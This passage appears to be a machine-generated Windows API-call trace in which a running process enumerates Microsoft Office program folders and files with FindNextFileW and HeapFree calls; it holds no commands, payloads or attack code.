ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0289.339] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.339] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1 [0289.342] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f920e8 | out: hHeap=0x730000) returned 1 [0289.343] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0289.343] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f920e8 | out: hHeap=0x730000) returned 1 [0289.343] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0 [0289.343] FindClose (in: hFindFile=0x3e81ea8 | out: hFindFile=0x3e81ea8) returned 1 [0289.343] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.343] FindNextFileW (in: hFindFile=0x3e81e28, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0289.343] FindClose (in: hFindFile=0x3e81e28 | out: hFindFile=0x3e81e28) returned 1 [0289.343] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.343] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0289.346] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.346] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0 [0289.346] FindClose (in: hFindFile=0x3e818e8 | out: hFindFile=0x3e818e8) returned 1 [0289.346] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f820e0 | out: hHeap=0x730000) returned 1 [0289.498] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0289.501] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.501] FindNextFileW (in: hFindFile=0x3e81e28, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0289.501] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.502] FindNextFileW (in: hFindFile=0x3e81e28, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0289.502] FindClose (in: hFindFile=0x3e81e28 | out: hFindFile=0x3e81e28) returned 1 [0289.502] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.502] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1 [0289.514] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.514] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1 [0289.518] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.518] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1 [0289.520] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.520] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0289.521] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.521] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0289.521] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.521] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0289.521] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.521] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0289.521] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.521] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0289.521] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.521] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1 [0289.522] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.522] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0289.522] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.522] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0289.522] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.522] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0289.522] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.522] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0289.522] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.522] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1 [0289.523] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.523] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0289.523] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.523] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0289.523] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.523] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0289.523] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.523] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0289.523] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.523] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0289.524] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.524] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0289.524] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.524] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0289.524] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.524] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1 [0289.524] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.524] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0289.524] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.524] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0289.525] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.525] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0289.525] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.525] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0289.525] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.525] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0289.525] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.525] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1 [0289.527] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.527] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1 [0289.528] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.528] FindNextFileW 